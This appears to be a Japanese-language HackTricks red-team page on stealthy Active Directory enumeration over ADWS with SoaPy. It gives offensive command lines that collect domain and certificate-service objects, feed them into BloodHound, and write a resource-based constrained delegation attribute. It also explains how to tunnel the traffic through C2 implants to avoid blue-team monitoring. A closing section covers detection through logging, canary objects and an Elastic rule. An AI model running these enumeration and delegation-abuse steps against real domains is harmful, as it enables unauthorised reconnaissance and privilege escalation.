Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ADWSとは?
Active Directory Web Services (ADWS)は、Windows Server 2008 R2以降のすべてのドメインコントローラーでデフォルトで有効になっており、TCP 9389でリッスンしています。名前に反して、HTTPは関与していません。代わりに、このサービスは独自の.NETフレーミングプロトコルのスタックを介してLDAPスタイルのデータを公開します:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、ADWSを通じた列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低いです。オペレーターにとって、これは意味します:
- ステルスな偵察 – ブルーチームはしばしばLDAPクエリに集中します。
- **非Windowsホスト(Linux、macOS)**から9389/TCPをSOCKSプロキシを通じてトンネリングする自由。
- LDAPを介して取得するのと同じデータ(ユーザー、グループ、ACL、スキーマなど)と、書き込みを行う能力(例:RBCDのための
msDs-AllowedToActOnBehalfOfOtherIdentity
)。
注:ADWSは多くのRSAT GUI/PowerShellツールでも使用されているため、トラフィックは正当な管理者の活動と混在する可能性があります。
SoaPy – ネイティブPythonクライアント
SoaPyは、純粋なPythonでのADWSプロトコルスタックの完全な再実装です。NBFX/NBFSE/NNS/NMFフレームをバイト単位で作成し、.NETランタイムに触れることなくUnix系システムからの収集を可能にします。
主な機能
- SOCKSを介したプロキシをサポート(C2インプラントから便利)。
- LDAPの
-q '(objectClass=user)'
と同じ細かい検索フィルター。 - オプションの書き込み操作(
--set
/--delete
)。 - BloodHoundへの直接取り込みのためのBOFHound出力モード。
- 人間の可読性が必要な場合にタイムスタンプや
userAccountControl
を整形するための--parse
フラグ。
インストール(オペレーターのホスト)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
ステルスADコレクションワークフロー
以下のワークフローは、ADWSを介してドメインおよびADCSオブジェクトを列挙し、それらをBloodHound JSONに変換し、証明書ベースの攻撃経路を追跡する方法を示しています - すべてLinuxから:
-
ターゲットネットワークからあなたのボックスへの9389/TCPトンネル(例:Chisel、Meterpreter、SSH動的ポートフォワードなど)。
export HTTPS_PROXY=socks5://127.0.0.1:1080
をエクスポートするか、SoaPyの--proxyHost/--proxyPort
を使用します。 -
ルートドメインオブジェクトを収集する:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Configuration NCからADCS関連オブジェクトを収集する:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- BloodHoundに変換する:
bofhound -i data --zip # produces BloodHound.zip
- ZIPをBloodHound GUIにアップロードし、
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
のようなサイファークエリを実行して、証明書昇格パス(ESC1、ESC8など)を明らかにします。
msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)の記述
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
s4u2proxy
/Rubeus /getticket
を組み合わせて、完全なリソースベースの制約付き委任チェーンを作成します。
検出と強化
詳細なADDSログ記録
ドメインコントローラーで以下のレジストリキーを有効にして、ADWS(およびLDAP)からの高コスト/非効率的な検索を明らかにします:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
イベントはDirectory-Serviceの下に表示され、完全なLDAPフィルターが適用されます。クエリがADWS経由で到着した場合でも同様です。
SACLカナリアオブジェクト
- ダミーオブジェクト(例:無効なユーザー
CanaryUser
)を作成します。 - Everyone プリンシパルに対してAudit ACEを追加し、ReadPropertyで監査します。
- 攻撃者が
(servicePrincipalName=*)
、(objectClass=user)
などを実行するたびに、DCはEvent 4662を発行し、実際のユーザーSIDを含みます。リクエストがプロキシされている場合やADWSから発信されている場合でも同様です。
Elasticの事前構築ルールの例:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
ツール概要
目的 | ツール | ノート |
---|---|---|
ADWS列挙 | SoaPy | Python, SOCKS, 読み書き |
BloodHound取り込み | BOFHound | SoaPy/ldapsearchログを変換 |
証明書の妥協 | Certipy | 同じSOCKSを通じてプロキシ可能 |
参考文献
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。